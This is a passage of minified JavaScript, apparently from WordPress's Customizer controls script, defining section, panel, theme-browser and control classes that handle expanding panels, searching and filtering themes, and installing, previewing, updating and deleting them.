n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass("control-subsection",!!e)}),n.panel.set(n.params.panel||""),Y.utils.bubbleChildValueChanges(n,["panel"]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass("cannot-expand")||(n.container.find(".accordion-section-title button, .customize-section-back, .accordion-section-title[tabindex]").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(".customize-section-title .customize-help-toggle").on("click",function(){(e=n.container.find(".section-meta")).hasClass("cannot-expand")||((t=e.find(".customize-section-description:first")).toggleClass("open"),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&&(t+=1)}),0!==t},controls:function(){return this._children("section","control")},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=i.headContainer.closest(".wp-full-overlay"),r=o.find(".customize-section-back"),c=i.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]").first();e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open"),s.addClass("section-open"),Y.state("expandedSection").set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&&e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){r.attr("tabindex","-1"),c.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open"),s.removeClass("section-open"),i===Y.state("expandedSection").get()&&Y.state("expandedSection").set(!1)):t.completeCallback&&t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:"",overlay:"",template:"",screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:"",tags:"",nextTerm:"",nextTags:"",filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(".customize-themes-full-container-container").before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(".theme-overlay"),t.template=wp.template("customize-themes-details-view"),t.container.on("keydown",function(e){t.overlay.find(".theme-wrap").is(":visible")&&(39===e.keyCode&&t.nextTheme(),37===e.keyCode&&t.previousTheme(),27===e.keyCode)&&(t.$body.hasClass("modal-open")?t.closeDetails():t.headerContainer.find(".customize-themes-section-title").focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,"renderScreenshots","loadMore","checkTerm","filtersChecked")},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(".customize-themes-section-title");e.toggleClass("selected",n.expanded()),e.attr("aria-expanded",n.expanded()?"true":"false"),n.expanded()||e.removeClass("details-open")}n.container.find(".customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J("#accordion-section-"+n.id),n.headerContainer.on("click",".customize-themes-section-title",function(){n.headerContainer.find(".filter-details").length&&(n.headerContainer.find(".customize-themes-section-title").toggleClass("details-open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}),n.headerContainer.find(".filter-details").slideToggle(180)),n.expanded()||n.expand()}),n.container.on("click",".theme-actions .preview-theme",function(){Y.panel("themes").loadThemePreview(J(this).data("slug"))}),n.container.on("click",".left",function(){n.previousTheme()}),n.container.on("click",".right",function(){n.nextTheme()}),n.container.on("click",".theme-backdrop, .close",function(){n.closeDetails()}),"local"===n.params.filter_type?n.container.on("input",".wp-filter-search-themes",function(e){n.filterSearch(e.currentTarget.value)}):"remote"===n.params.filter_type&&(e=_.debounce(n.checkTerm,500),n.contentContainer.on("input",".wp-filter-search",function(){Y.panel("themes").expanded()&&(e(n),n.expanded()||n.expand())}),n.contentContainer.on("click",".filter-group input",function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on("click",".feature-filter-toggle",function(e){var t=J(".customize-themes-full-container"),e=J(e.currentTarget);n.filtersHeight=e.parents(".themes-filter-bar").next(".filter-drawer").height(),0<t.scrollTop()&&(t.animate({scrollTop:0},400),e.hasClass("open"))||(e.toggleClass("open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}).parents(".themes-filter-bar").next(".filter-drawer").slideToggle(180,"linear"),e.hasClass("open")?(t=1018<window.innerWidth?50:76,n.contentContainer.find(".themes").css("margin-top",n.filtersHeight+t)):n.contentContainer.find(".themes").css("margin-top",0))}),n.contentContainer.on("click",".no-themes-local .search-dotorg-themes",function(){Y.section("wporg_themes").focus()}),n.expanded.bind(t),t(),Y.bind("ready",function(){n.contentContainer=n.container.find(".customize-themes-section"),n.contentContainer.appendTo(J(".customize-themes-full-container")),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(".customize-themes-full-container");function a(){0===i.loaded&&i.loadThemes(),Y.section.each(function(e){var t;e!==i&&"themes"===e.params.type&&(t=e.contentContainer.find(".wp-filter-search").val(),i.contentContainer.find(".wp-filter-search").val(t),""===t&&""!==i.term&&"local"!==i.params.filter_type?(i.term="",i.initializeNewQuery(i.term,i.tags)):"remote"===i.params.filter_type?i.checkTerm(i):"local"===i.params.filter_type&&i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass("current-section"),t.scrollTop(),t.on("scroll",_.throttle(i.renderScreenshots,300)),t.on("scroll",_.throttle(i.loadMore,300)),n.completeCallback&&n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&&n.completeCallback():e?i.panel()&&Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass("current-section"),i.headerContainer.find(".filter-details").slideUp(180),t.off("scroll"),n.completeCallback&&n.completeCallback())},getContent:function(){return this.container.find(".control-section-content")},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:"on",theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},"remote"===i.params.filter_type&&(e.search=i.term,e.tags=i.tags),i.headContainer.closest(".wp-full-overlay").addClass("loading"),i.loading=!0,i.container.find(".no-themes").hide(),(e=wp.ajax.post("customize_load_themes",e)).done(function(e){var t=e.themes;""!==i.nextTerm||""!==i.nextTags?(i.nextTerm&&(i.term=i.nextTerm),i.nextTags&&(i.tags=i.nextTags),i.nextTerm="",i.nextTags="",i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&&(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&&((new Image).src=e)}),"local"!==i.params.filter_type)&&wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace("%d",e.info.results)),_.delay(i.renderScreenshots,100),("local"===i.params.filter_type||t.length<100)&&(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(".no-themes").show(),wp.a11y.speak(i.container.find(".no-themes").text())):i.fullyLoaded=!0,"local"===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(".unexpected-error").hide(),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(".unexpected-error").show(),wp.a11y.speak(i.container.find(".unexpected-error").text())):"undefined"!=typeof console&&console.error&&console.error(e),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+"_theme_"+e.id,{type:"theme",section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&&Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(".customize-themes-full-container")).scrollTop()+e.height(),e.prop("scrollHeight")-3e3<t&&this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has("wporg_themes")&&"remote"!==i.params.filter_type?".no-themes-local":".no-themes",o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g," ").split(" "),_.each(o,function(e){e.filter(t)&&(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;"remote"===e.params.filter_type&&(t=e.contentContainer.find(".wp-filter-search").val(),e.term!==t.trim())&&e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(".filter-group").find(":checkbox"),n=[];_.each(t.filter(":checked"),function(e){n.push(J(e).prop("value"))}),0===n.length?(n="",e.contentContainer.find(".feature-filter-toggle .filter-count-0").show(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").hide()):(e.contentContainer.find(".feature-filter-toggle .theme-filter-count").text(n.length),e.contentContainer.find(".feature-filter-toggle .filter-count-0").hide(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:"remote"===e.params.filter_type?e.initializeNewQuery(e.term,n):"local"===e.params.filter_type&&e.filterSearch(n.join(" ")))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&&0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&&(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(".theme-screenshot"),a=i.find("img");return!(!a.length||!a.is(":hidden")&&(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))<=a+n&&a<=t+i)&&e.container.trigger("render-screenshot"),n))}))},getVisibleCount:function(){return this.contentContainer.find("li.customize-control:visible").length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(".themes-displayed"),t=this.contentContainer.find(".theme-count"),0===e?t.text("0"):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace("%d",e)))},nextTheme:function(){var e=this;e.getNextTheme()&&e.showDetails(e.getNextTheme(),function(){e.overlay.find(".right").focus()})},getNextTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e+1])&&t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&&e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(".left").focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e-1])&&t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(".right").addClass("disabled"),this.getPreviousTheme()||this.overlay.find(".left").addClass("disabled")},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel("themes");function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn("fast").focus(),n.overlay.find("button.preview, button.preview-theme").toggleClass("disabled",a()),n.overlay.find("button.theme-install").toggleClass("disabled",a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass("modal-open"),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace("%s",e.name)),t&&t()},closeDetails:function(){this.$body.removeClass("modal-open"),this.overlay.fadeOut("fast"),Y.control(this.params.action+"_theme_"+this.currentTheme).container.find(".theme").focus()},containFocus:function(t){var n;t.on("keydown",function(e){if(9===e.keyCode)return(n=J(":tabbable",t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&&e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent="#customize-outer-theme-controls",this.containerPaneParent=".customize-outer-pane-parent",Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=o.find(".customize-section-back"),r=i.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]").first();J(document.body).toggleClass("outer-section-open",e),i.container.toggleClass("open",e),i.container.removeClass("busy"),Y.section.each(function(e){"outer"===e.params.type&&e.id!==i.id&&e.container.removeClass("open")}),e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){s.attr("tabindex","0"),s.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open")}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open")):t.completeCallback&&t.completeCallback()}}),Y.Panel=a.extend({containerType:"panel",initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J("#customize-theme-controls"),n=J(".customize-pane-parent");e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(".customize-panel-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&n.collapse())}),(t=n.container.find(".panel-meta:first")).find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e;t.hasClass("cannot-expand")||(e=t.find(".customize-panel-description:first"),t.hasClass("open")?(t.toggleClass("open"),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),t.toggleClass("open"),J(this).attr("aria-expanded",!0)))})},sections:function(){return this._children("panel","section")},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&&e.isContextuallyActive()&&(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&&t.completeCallback():(a=(i=(n=this).contentContainer).closest(".wp-full-overlay"),o=i.closest(".wp-full-overlay-sidebar-content"),s=n.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]"),r=i.find(".customize-panel-back"),c=n.sections(),e&&!i.hasClass("current-panel")?(Y.section.each(function(e){n.id!==e.panel()&&e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&&e.collapse({duration:0})}),n.params.autoExpandSoleSection&&1===c.length&&c[0].active.get()?(i.addClass("current-panel skip-transition"),a.addClass("in-sub-panel"),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){r.attr("tabindex","0"),r.trigger("focus"),i.css("top",""),o.scrollTop(0),t.completeCallback&&t.completeCallback()}),i.addClass("current-panel"),a.addClass("in-sub-panel")),Y.state("expandedPanel").set(n)):!e&&i.hasClass("current-panel")&&(i.hasClass("skip-transition")?i.removeClass("skip-transition"):n._animateChangeExpanded(function(){s.focus(),i.css("top",""),t.completeCallback&&t.completeCallback()}),a.removeClass("in-sub-panel"),i.removeClass("current-panel"),n===Y.state("expandedPanel").get())&&Y.state("expandedPanel").set(!1))},renderContent:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector+"-content").length?wp.template(e.templateSelector+"-content"):wp.template("customize-panel-default-content");t&&e.headContainer&&e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||"publish"===Y.state("selectedChangesetStatus").get()&&(""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove("theme_switch_unavailable"):t.notifications.add(new Y.Notification("theme_switch_unavailable",{message:Y.l10n.themePreviewUnavailable,type:"warning"}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&&Y.settings.theme._filesystemCredentialsNeeded&&t.notifications.add(new Y.Notification("theme_install_unavailable",{message:Y.l10n.themeInstallUnavailable,type:"info",dismissible:!0})),e(),Y.state("selectedChangesetStatus").bind(e),Y.state("changesetStatus").bind(e),t.contentContainer.on("click",".customize-theme",function(){t.collapse()}),t.contentContainer.on("click",".customize-themes-section-title, .customize-themes-mobile-back",function(){J(".wp-full-overlay").toggleClass("showing-themes")}),t.contentContainer.on("click",".theme-install",function(e){t.installTheme(e)}),t.contentContainer.on("click",".update-theme, #update-theme",function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on("click",".delete-theme",function(e){t.deleteTheme(e)}),_.bindAll(t,"installTheme","updateTheme")},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&&t.completeCallback():(n=this.headContainer.closest(".wp-full-overlay"),e?(n.addClass("in-themes-panel").delay(200).find(".customize-themes-full-container").addClass("animate"),_.delay(function(){n.addClass("themes-panel-expanded")},200),600<window.innerWidth&&(t=this.sections(),_.each(t,function(e){e.expanded()&&(i=!0)}),!i)&&0<t.length&&t[0].expand()):n.removeClass("in-themes-panel themes-panel-expanded").find(".customize-themes-full-container").removeClass("animate"))},installTheme:function(e){var t,i=this,a=J(e.target).data("slug"),o=J.Deferred(),s=J(e.target).hasClass("preview");return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:"theme_install_unavailable"}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:"theme_already_installing"}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove("theme_installing"),i.loadThemePreview(a);else{if(Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has("installed_theme_"+n.id))return void o.resolve(t);n.type="installed",e=new Y.controlConstructor.theme("installed_theme_"+n.id,{type:"theme",section:"installed_themes",theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger("render-screenshot"),Y.section.each(function(e){"themes"===e.params.type&&n.id===e.currentTheme&&e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&&Y.notifications.add(new Y.OverlayNotification("theme_installing",{message:Y.l10n.themeDownloading,type:"info",loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove("theme_installing")})):o.reject({errorCode:"theme_switch_unavailable"}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement("a")).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state("saved").get()||(e.customize_autosaved="on"),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification("theme_previewing",{message:Y.l10n.themePreviewWait,type:"info",loading:!0})),t=function(){var e;0<Y.state("processing").get()||(Y.state("processing").unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off("beforeunload.customize-confirm"),location.replace(n.href)}),e.fail(function(){Y.notifications.remove("theme_previewing"),i.reject()}))},0===Y.state("processing").get()?t():Y.state("processing").bind(t)):i.reject({errorCode:"theme_switch_unavailable"}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-update-success",function(e,t){Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(".notice").data("slug")})},deleteTheme:function(e){var t=J(e.target).data("slug"),n=Y.section("installed_themes");e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&&(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-delete-success",function(){var e=Y.control("installed_theme_"+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t&&e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaults:{label:"",description:"",active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&&(i.params.type=t,!0)}),i.params.content||(i.params.content=J("<li></li>",{id:"customize-control-"+e.replace(/]/g,"").replace(/\[/g,"-"),class:"customize-control customize-control-"+i.params.type})),i.id=e,i.selector="#customize-control-"+e.replace(/\]/g,"").replace(/\[/g,"-"),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector="customize-control-"+i.params.type+"-content",i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,["section","priority","active"]),i.settings={},n={},i.params.setting&&(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&&_.isFunction(e.extended)&&e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&&((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&&_.isString(e)&&(i.settings[t]=Y(e))}),i.settings[0]&&!i.settings.default&&(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find("[data-customize-setting-link], [data-customize-setting-key-link]"),s={};o.each(function(){var e,t,n=J(this);if(!n.data("customizeSettingLinked")){if(n.data("customizeSettingLinked",!0),n.is(":radio")){if(e=n.prop("name"),s[e])return;s[e]=!0,n=o.filter('[name="'+e+'"]')}n.data("customizeSettingLink")?t=Y(n.data("customizeSettingLink")):n.data("customizeSettingKeyLink")&&(t=a.settings[n.data("customizeSettingKeyLink")]),t&&(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&&Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;"dropdown-pages"===n.params.type&&n.params.allow_addition&&((t=n.container.find(".new-content-item-wrapper")).hide(),n.container.on("click",".add-new-toggle",function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(".create-item-input").focus()}),n.container.on("click",".add-content",function(){n.addNewPage()}),n.container.on("keydown",".create-item-input",function(e){13===e.which&&n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(".customize-control-notifications-container:first");return n.length||(n=J('<div class="customize-control-notifications-container"></div>'),t.container.hasClass("customize-control-nav_menu_item")?t.container.find(".menu-item-settings:first").prepend(n):t.container.hasClass("customize-control-widget_form")?t.container.find(".widget-inside:first").prepend(n):(e=t.container.find(".customize-control-title")).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&&(n.notifications.bind("add",function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+":"+e.code,t))}),n.notifications.bind("remove",function(e){i.notifications.remove(n.id+":"+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&&Y.section(e).expanded())&&i.notifications.render()},i.notifications.bind("rendered",function(){var e=i.notifications.get();i.container.toggleClass("has-notifications",0!==e.length),i.container.toggleClass("has-error",0!==_.where(e,{type:"error"}).length)}),i.section.bind(e=function(e,t){t&&Y.section.has(t)&&Y.section(t).expanded.unbind(n),e&&Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind("change",_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;"undefined"!=typeof console&&console.warn&&console.warn("[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method."),(e=n.getNotificationsContainerElement())&&e.length&&(t=[],n.notifications.each(function(e){t.push(e),"error"===e.type&&(i=!0)}),0===t.length?e.stop().slideUp("fast"):e.stop().slideDown("fast",null,function(){J(this).css("height","auto")}),n.notificationsTemplate||(n.notificationsTemplate=wp.template("customize-control-notifications")),n.container.toggleClass("has-notifications",0!==t.length),n.container.toggleClass("has-error",i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&&t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&&t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){"string"==typeof e&&i.statuses&&i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(".dropdown-status"),i=this.params,a=!1;this.container.on("click keydown",".dropdown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass("open"),t.container.hasClass("open")&&t.container.parent().parent().find("li.library-selected").focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t==="customize-control-"+e.params.type+"-content"&&_.contains(["button","checkbox","date","datetime-local","email","month","number","password","radio","range","search","select","tel","time","text","textarea","week","url"],e.params.type)&&!document.getElementById("tmpl-"+t)&&0===e.container.children().length&&(t="customize-control-default-content"),document.getElementById("tmpl-"+t)&&(t=wp.template(t))&&e.container&&e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&&Y.section(t).expanded())&&e.notifications.render()},addNewPage:function(){var 